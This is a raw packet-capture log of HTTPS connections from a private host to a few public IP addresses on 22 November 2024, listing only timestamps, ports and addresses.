Nov 22, 2024 01:02:35.909274101 CET	49750	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:35.909281015 CET	443	49750	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:35.941025019 CET	49745	443	192.168.2.7	4.245.163.56
Nov 22, 2024 01:02:36.221703053 CET	443	49744	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.221765995 CET	443	49744	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.221848011 CET	49744	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.222001076 CET	49744	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.222016096 CET	443	49744	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.222028017 CET	49744	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.222033024 CET	443	49744	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.224621058 CET	49752	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.224663973 CET	443	49752	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.225390911 CET	49752	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.225528955 CET	49752	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.225541115 CET	443	49752	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.345261097 CET	443	49743	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.345338106 CET	443	49743	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.345381975 CET	49743	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.345664024 CET	49743	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.345684052 CET	443	49743	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.345710993 CET	49743	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.345716953 CET	443	49743	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.348501921 CET	49753	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.348541021 CET	443	49753	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.348634958 CET	49753	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.349106073 CET	49753	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.349122047 CET	443	49753	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.464970112 CET	443	49746	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.465059996 CET	443	49746	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.465121031 CET	49746	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.465280056 CET	49746	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.465298891 CET	443	49746	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.465317965 CET	49746	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.465323925 CET	443	49746	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.467727900 CET	49754	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.467823029 CET	443	49754	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:36.467909098 CET	49754	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.468054056 CET	49754	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:36.468082905 CET	443	49754	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:37.006361961 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:37.006445885 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.008219004 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.008229971 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:37.008596897 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:37.018099070 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.019473076 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.019520044 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:37.019712925 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.019745111 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:37.019886971 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.019932985 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:37.020874977 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.020894051 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:37.021106958 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.021136045 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:37.021404982 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.021429062 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:37.021440029 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.021605968 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.021644115 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.063324928 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:37.063524008 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.063574076 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.063590050 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.111330032 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:37.111506939 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.111557007 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.111592054 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.155329943 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:37.155430079 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.191056967 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:37.191071033 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:37.380996943 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:37.915338993 CET	49745	443	192.168.2.7	4.245.163.56
Nov 22, 2024 01:02:37.963324070 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:38.076070070 CET	443	49749	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.076703072 CET	49749	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.076735973 CET	443	49749	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.077301025 CET	49749	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.077307940 CET	443	49749	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.091697931 CET	443	49750	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.092264891 CET	49750	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.092272997 CET	443	49750	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.092796087 CET	49750	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.092801094 CET	443	49750	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.370697975 CET	443	49752	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.371366024 CET	49752	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.371428967 CET	443	49752	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.371836901 CET	49752	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.371864080 CET	443	49752	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.395890951 CET	443	49754	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.409425974 CET	49754	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.409450054 CET	443	49754	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.410063982 CET	49754	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.410075903 CET	443	49754	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.437478065 CET	443	49753	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.438118935 CET	49753	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.438143015 CET	443	49753	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.438714981 CET	49753	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.438720942 CET	443	49753	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.510643005 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:38.510709047 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:38.510730982 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:38.510768890 CET	49745	443	192.168.2.7	4.245.163.56
Nov 22, 2024 01:02:38.510771990 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:38.510808945 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:38.510822058 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:38.510823011 CET	49745	443	192.168.2.7	4.245.163.56
Nov 22, 2024 01:02:38.510911942 CET	49745	443	192.168.2.7	4.245.163.56
Nov 22, 2024 01:02:38.518069029 CET	443	49749	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.518157959 CET	443	49749	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.518624067 CET	49749	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.518767118 CET	49749	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.518793106 CET	443	49749	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.518807888 CET	49749	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.518815994 CET	443	49749	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.522017956 CET	49756	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.522070885 CET	443	49756	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.522187948 CET	49756	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.522336960 CET	49756	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.522350073 CET	443	49756	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.529913902 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:38.530002117 CET	49745	443	192.168.2.7	4.245.163.56
Nov 22, 2024 01:02:38.530025005 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:38.530139923 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:38.530216932 CET	49745	443	192.168.2.7	4.245.163.56
Nov 22, 2024 01:02:38.539612055 CET	443	49750	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.539664984 CET	443	49750	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.539881945 CET	49750	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.539951086 CET	49750	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.539951086 CET	49750	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.539963007 CET	443	49750	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.539971113 CET	443	49750	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.543126106 CET	49758	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.543158054 CET	443	49758	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.543225050 CET	49758	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.543435097 CET	49758	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.543446064 CET	443	49758	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.825118065 CET	443	49752	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.825186968 CET	443	49752	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.825417995 CET	49752	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.825562954 CET	49752	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.825562954 CET	49752	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.825613022 CET	443	49752	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.825642109 CET	443	49752	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.828840017 CET	49759	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.828883886 CET	443	49759	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.828975916 CET	49759	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.829135895 CET	49759	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.829152107 CET	443	49759	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.829421997 CET	443	49754	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.829581022 CET	443	49754	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.829722881 CET	49754	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.829757929 CET	49754	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.829775095 CET	443	49754	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.829797983 CET	49754	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.829811096 CET	443	49754	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.831850052 CET	49760	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.831876993 CET	443	49760	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.834022045 CET	49760	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.834184885 CET	49760	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.834198952 CET	443	49760	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.894047022 CET	443	49753	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.894141912 CET	443	49753	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.894244909 CET	49753	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.894661903 CET	49753	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.894682884 CET	443	49753	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.894695044 CET	49753	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.894702911 CET	443	49753	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.897859097 CET	49761	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.897898912 CET	443	49761	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:38.898082018 CET	49761	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.898109913 CET	49761	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:38.898114920 CET	443	49761	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.025695086 CET	49745	443	192.168.2.7	4.245.163.56
Nov 22, 2024 01:02:40.025717020 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:40.025729895 CET	49745	443	192.168.2.7	4.245.163.56
Nov 22, 2024 01:02:40.025736094 CET	443	49745	4.245.163.56	192.168.2.7
Nov 22, 2024 01:02:40.343820095 CET	443	49756	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.346127033 CET	49756	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.346162081 CET	443	49756	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.347939968 CET	49756	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.347954035 CET	443	49756	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.388609886 CET	443	49758	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.389194965 CET	49758	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.389234066 CET	443	49758	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.389837027 CET	49758	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.389847994 CET	443	49758	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.677215099 CET	443	49759	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.678154945 CET	49759	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.678185940 CET	443	49759	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.678740978 CET	49759	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.678747892 CET	443	49759	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.790256977 CET	443	49761	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.790941954 CET	49761	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.790958881 CET	443	49761	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.791716099 CET	49761	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.791722059 CET	443	49761	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.802764893 CET	443	49760	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.806077957 CET	49760	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.806102991 CET	443	49760	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.806793928 CET	49760	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.806799889 CET	443	49760	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.826623917 CET	443	49756	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.826775074 CET	443	49756	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.827044964 CET	49756	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.827086926 CET	49756	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.827107906 CET	443	49756	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.827124119 CET	49756	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.827131033 CET	443	49756	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.830538988 CET	49762	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.830554962 CET	443	49762	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.830617905 CET	49762	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.830768108 CET	49762	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.830777884 CET	443	49762	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.843079090 CET	443	49758	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.843153954 CET	443	49758	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.843213081 CET	49758	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.843394041 CET	49758	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.843401909 CET	443	49758	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.843415976 CET	49758	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.843420982 CET	443	49758	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.845972061 CET	49763	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.846010923 CET	443	49763	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:40.846115112 CET	49763	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.846247911 CET	49763	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:40.846263885 CET	443	49763	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.135009050 CET	443	49759	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.135098934 CET	443	49759	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.135168076 CET	49759	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.135432959 CET	49759	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.135452032 CET	443	49759	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.135525942 CET	49759	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.135533094 CET	443	49759	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.150254011 CET	49764	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.150291920 CET	443	49764	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.151041985 CET	49764	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.151170015 CET	49764	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.151190042 CET	443	49764	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.244366884 CET	443	49761	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.244436026 CET	443	49761	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.244637012 CET	49761	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.244724035 CET	49761	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.244739056 CET	443	49761	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.244752884 CET	49761	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.244757891 CET	443	49761	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.248097897 CET	49765	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.248128891 CET	443	49765	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.248344898 CET	49765	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.248785973 CET	49765	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.248811960 CET	443	49765	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.268665075 CET	443	49760	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.268744946 CET	443	49760	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.269068003 CET	49760	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.269090891 CET	49760	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.269103050 CET	443	49760	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.269113064 CET	49760	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.269117117 CET	443	49760	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.272768974 CET	49766	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.272785902 CET	443	49766	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:41.272905111 CET	49766	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.273072004 CET	49766	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:41.273081064 CET	443	49766	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:42.617044926 CET	443	49762	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:42.617785931 CET	49762	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:42.617805004 CET	443	49762	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:42.618252039 CET	49762	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:42.618256092 CET	443	49762	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:42.626687050 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:42.626918077 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:42.626981020 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:42.627012014 CET	49748	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:42.627026081 CET	443	49748	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:42.674762964 CET	49767	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:42.674860001 CET	443	49767	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:42.674945116 CET	49767	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:42.675307035 CET	49767	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:42.675358057 CET	443	49767	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:42.694891930 CET	443	49763	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:42.695557117 CET	49763	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:42.695586920 CET	443	49763	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:42.696429014 CET	49763	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:42.696438074 CET	443	49763	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:42.996939898 CET	443	49764	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:42.997464895 CET	49764	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:42.997478962 CET	443	49764	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:42.998109102 CET	49764	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:42.998114109 CET	443	49764	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.105093956 CET	443	49765	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.105799913 CET	49765	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.105813980 CET	443	49765	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.106256008 CET	49765	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.106261015 CET	443	49765	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.116795063 CET	443	49766	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.117309093 CET	49766	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.117335081 CET	443	49766	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.117548943 CET	49766	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.117552996 CET	443	49766	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.124258041 CET	443	49762	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.124325991 CET	443	49762	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.124419928 CET	49762	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.124596119 CET	49762	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.124618053 CET	443	49762	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.124629021 CET	49762	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.124634981 CET	443	49762	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.127650976 CET	49768	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.127763987 CET	443	49768	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.127895117 CET	49768	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.128097057 CET	49768	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.128125906 CET	443	49768	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.147136927 CET	443	49763	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.147217035 CET	443	49763	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.147264957 CET	49763	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.147490025 CET	49763	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.147505045 CET	443	49763	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.147517920 CET	49763	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.147522926 CET	443	49763	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.150968075 CET	49769	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.151017904 CET	443	49769	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.151110888 CET	49769	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.151345015 CET	49769	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.151361942 CET	443	49769	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.455781937 CET	443	49764	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.455866098 CET	443	49764	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.455950975 CET	49764	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.456160069 CET	49764	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.456178904 CET	443	49764	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.456190109 CET	49764	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.456195116 CET	443	49764	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.459444046 CET	49770	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.459491968 CET	443	49770	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.459572077 CET	49770	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.459752083 CET	49770	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.459768057 CET	443	49770	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.557579994 CET	443	49765	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.557665110 CET	443	49765	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.557755947 CET	49765	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:43.571075916 CET	443	49766	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.571278095 CET	443	49766	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:43.571386099 CET	49766	443	192.168.2.7	13.107.246.63
